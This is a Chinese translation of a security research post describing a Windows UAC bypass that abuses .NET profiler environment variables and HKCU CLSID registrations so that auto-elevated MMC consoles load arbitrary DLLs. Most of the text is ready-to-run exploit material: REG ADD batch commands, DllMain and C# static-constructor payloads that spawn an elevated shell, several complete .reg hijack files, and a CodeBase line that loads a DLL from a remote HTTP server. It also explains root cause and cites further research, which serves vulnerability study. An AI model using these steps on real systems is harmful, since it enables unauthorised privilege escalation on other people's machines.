.NET Framework可以通过用户定义的环境变量和CLSID注册表项加载profiler DLL或者是COM组件DLL,进程权限提升时甚至也是一样。所以通过利用自动提权.NET进程(如MMC管理单元)加载任意DLL的行为,在Windows 7到Windows 10(包括最新的RS3版本)的默认设置中绕过UAC。
介绍
简略介绍一下:去年五月,Casey Smith在推特和博客上指出.NET profiler DLL的加载可能被滥用,以至于使合法的.NET应用程序会通过环境变量加载恶意DLL。
看到这个的时候,我首先想到的是“如果这个对提升过权限的.NET应用也有用,那么就绝对是个绕过UAC的好方法”。事实上确实是这样。
这个问题由Stefan Kanthak发现,且由他报告和发表。不过虽然自七月就已经被公开,但我写这篇文章的时候问题依然没有被修复,甚至现在都依然如此。
绕过UAC
要使.NET应用程序加载任意DLL,我们可以使用以下环境变量:
COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\path\to\some.dll
在4以下的版本,CLSID必须通过包含profiler DLL路径的注册表键HKCR\CLSID{GUID}\InprocServer32进行定义,在最新版本中,CLR使用COR_PROFILER_PATH环境变量来查找DLL,如果未定义COR_PROFILER_PATH,则使用CLSID。
HKCR\CLSID是HKLM和HKCU中Software\Classes\CLSID的组合,在HKLM(或Mechine级环境变量)中创建CLSID键需要提权,但在HKCU中则不需要,需要注意的是,如果是user级别的环境变量和注册表项,那么也会有用。
现在我们只需要一个自动提权的可执行文件(在默认设置下没有UAC提示符),并使用.NET CLR加载虚假profiler DLL。MMC是个不错的选择,在测试中,我使用gpedit MMC,不过还有其他可用的(稍后会有例子)。
如批处理一样简单,让其工作起来:
REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
mmc gpedit.msc
在低权限环境下,这些命令会通过高权限进程mmc.exe加载C:\Temp\test.dll (如果存在的话)。
这允许在Windows 7到Windows 10的默认设置(包括本文中最新的RS3版本)中的UAC绕过。
【点击这里查看】嵌入DLL的PowerShell PoC(仅限64位)
DLL只是在DLL_PROCESS_ATTACH上运行cmd.exe,产生一个提权过的shell,然后立即退出当前进程,以防止MMC控制台弹出:
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
char cmd[] = "cmd.exe";
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在x64 Windows 7,8.1,10 1703和10 RS3版本16275中已测试。
当然,如果你有一个可访问的SMB共享,那么它也适用于UNC路径:
COR_PROFILER_PATH=\\server\share\test.dll
根本原因
COM以运行时高权限进程会阻止CLSID在用户注册表(HKCU)中查找,以防止绕过,但.NET运行时并不会,在这种情况下,会由后者执行查找。
如果要修复,CLR的检查需要和COM的相似。
其他载体
现在我们知道CLR是如何工作的,我们可以通过在堆栈中使用CLR调用,在HKCU中检查CLSID查找来找到其他实例。
“Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager” 组件(在我的虚拟机上,CLSID 是{B29D466A-857D-35BA-8712-A758861BFEA1} )
HKCR中的现有项似乎表明组件本身在CLR程序集中实现:
我们可以在用户注册表中定义一个COM项(.reg格式):
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
然后,MMC将加载我们的托管DLL并尝试访问TestDotNet.Class1类。默认情况下,C#没有一个简单的方法来创建DLL入口点,如DllMain,但在注册表中引用的类似乎被加载了,所以我们可以使用一个静态构造函数来执行我们的提权代码:
using System;
using System.Diagnostics;
namespace TestDotNet
{
public class Class1
{
static Class1()
{
Process.Start("cmd.exe");
Environment.Exit(0);
}
}
}
将DLL放在所定义的位置,运行gpedit.msc会出现一个提权的shell(这次是从一个.NET DLL)
该方法的一个有趣的地方是CodeBase参数并不限于本地文件和SMB共享,还可以从HTTP URL加载DLL:
"CodeBase"="http://server:8080/test_managed.dll"
要注意的是,下载的DLL会被复制到磁盘,所以该方法实际上比本地DLL(磁盘+网络)更容易被检测到。
另一件好事(对于攻击者来说):有多种CLSID可以这样被滥用。
以下可以与compmgmt.msc,eventvwr.msc,secpol.msc和taskschd.msc一起使用:
托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor组件
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]
@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"CodeBase"="file://C://Temp//test_managed.dll"
“NDP SymBinder”组件作为本地DLL,通过\Server项劫持:
Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
@="NDP SymBinder"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]
@="CorSymBinder_SxS"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]
@="C:\\Temp\\test_unmanaged.dll"
“Microsoft Common Language Runtime Meta Data”组件作为本地DLL,通过\Server项劫持(仅限secpol.msc)
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]
@="Microsoft Common Language Runtime Meta Data"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]
@="CLRMetaData.CorRuntimeHost.2"
[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]
@="..\\..\\..\\..\\Temp\\test_unmanaged.dll"
(注意:这里的路径必须是相对的,否则mmc.exe会尝试加载C\Windows\Microsoft.NET\Framework64\v4.0.30319\C\Temp\test_unmanaged.dll)
UAC并非安全防御
微软反复声明UAC不是安全边防,而安全人员通常以更实际的方式描述它:不要信任UAC,不用管理员权限时,使用非管理员账户,我非常同意这一点。
尽管如此,很多人还是以本地管理员身份运行,这些人理所当然成了渗透测试者和red teamer的目标。
作为渗透测试目的,我推荐来自@tiraniddo的更一般的方法(示例的实现点这里,另一个 即将发布),这种方法不需要DLL。
此外,如果你想深入了解UAC绕过,那么会有很多资源,以下是必读内容:
@enigma0x3‘s research (and his upcoming DerbyCon talk)
@tiraniddo‘s bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3
@hFireF0X‘s UACME project that implements most known UAC bypasses, and his posts on kernelmode
@FuzzySec‘s UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell
*参考来源:provadys,Covfefe编译,转载请注明来自FreeBuf.COM